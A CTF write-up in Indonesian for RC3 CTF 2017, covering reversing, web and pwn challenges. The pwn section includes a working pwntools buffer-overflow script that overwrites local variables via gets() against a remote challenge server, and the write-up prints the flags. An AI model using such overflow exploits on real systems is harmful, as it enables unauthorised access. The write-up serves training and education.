RC3 CTF 2017 - Write Up

by CTF.Ninja

Reversing (100)

Diberikan file elf 64bit not stripped.

$ file hello
hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e85915bc2c95f7eac6c02254b065d9161e5efca2, not stripped

Hanya dengan menggunakan strings didapatkan Flag yang benar.

$ strings hello | grep RC
RC3-2017{little_ball_of_fur}

Cukup mudah untuk challenge dengan points 100 :)

Flag : RC3-2017{little_ball_of_fur}

Web (100)

Diberikan sebuah website http://13.59.6.98

$ curl http://13.59.6.98
<meta http-equiv="refresh" content="0; url=C.html" /> <p hidden>R</p>

Website tersebut akan otomatis direfresh apabila dikunjungi via Browser. Tapi terdapat bagian <p hidden>R</p> yang seperti nya adalah flag nya apabila mengikuti bagian url=C.html

Berikut script yang digunakan untuk melakukan automasi.

import requests
import re
url = "http://13.59.6.98"
flag = ""
while 1:
  r =requests.get(url)
  content = r.content
  flag += re.findall("<p hidden>(.*?)</p>",content)[0]
  if flag[-3:] == "777":
    print "Flag : {}".format(flag)
    break
  url = "http://13.59.6.98/{}".format(re.findall("url=(.*?)\"",content)[0])

Setelah menunggu beberapa saat Flag akan muncul.

Flag : RC3W3MUS7G0D33P3RR3D1R3C777

Pwn (100)

Diberikan sebuah file elf 32bit stripped bernama easy_peasy

$ file easy_peasy 
easy_peasy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=3a5dd5cc49b1a8efbc0a6269bdea9c1da99b3bcf, stripped
$ checksec easy_peasy 
[*] 'easy_peasy'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Hasi decompile menggunakan IDA PRO

void __cdecl main()
{
  int v0; // [sp+18h] [bp-18h]@1
  int v1; // [sp+28h] [bp-8h]@1
  int v2; // [sp+2Ch] [bp-4h]@1

  v2 = 0;
  v1 = 0;
  printf("Enter Key: ");
  gets((char *)&v0);
  if ( v2 == 0xCAFEF00D && v1 == 0xC0FFEE )
    sub_80484EF();
  puts("Error: Invalid key!");
  srand(1u);
  init();
}

Terlihat penggunaan fungsi gets yang vulnerable Buffer Overflow. Dan seperti nya tujuan dari challenge ini adalah melakukan Overwrite Local Variable v1 dan v2.

Perhitungan Padding.

  int v0; // [sp+18h] [bp-18h]@1
  int v1; // [sp+28h] [bp-8h]@1
  int v2; // [sp+2Ch] [bp-4h]@1
>> # jumlah padding untuk overwrite v1
>> 0x18 - 0x8 
16
>> # jumlah padding untuk overwrite v2
>> 0x18 - 0x4
20

Berikut script yang digunakan

from pwn import *

baby = remote("18.216.183.46",4200)
p = ""
p += "A" * 16
p += p32(0xC0FFEE) # v1
p += p32(0xCAFEF00D) # v2
baby.sendlineafter(": ",p)
print baby.recvline()

Flag: RC3-2017{S3E_N0T_TO0_B4D_HUH_ec1368b59b858e08}

Task Files : RC3-CTF-2017

Tags: RC3CTF2017CTF

Subscribe via RSS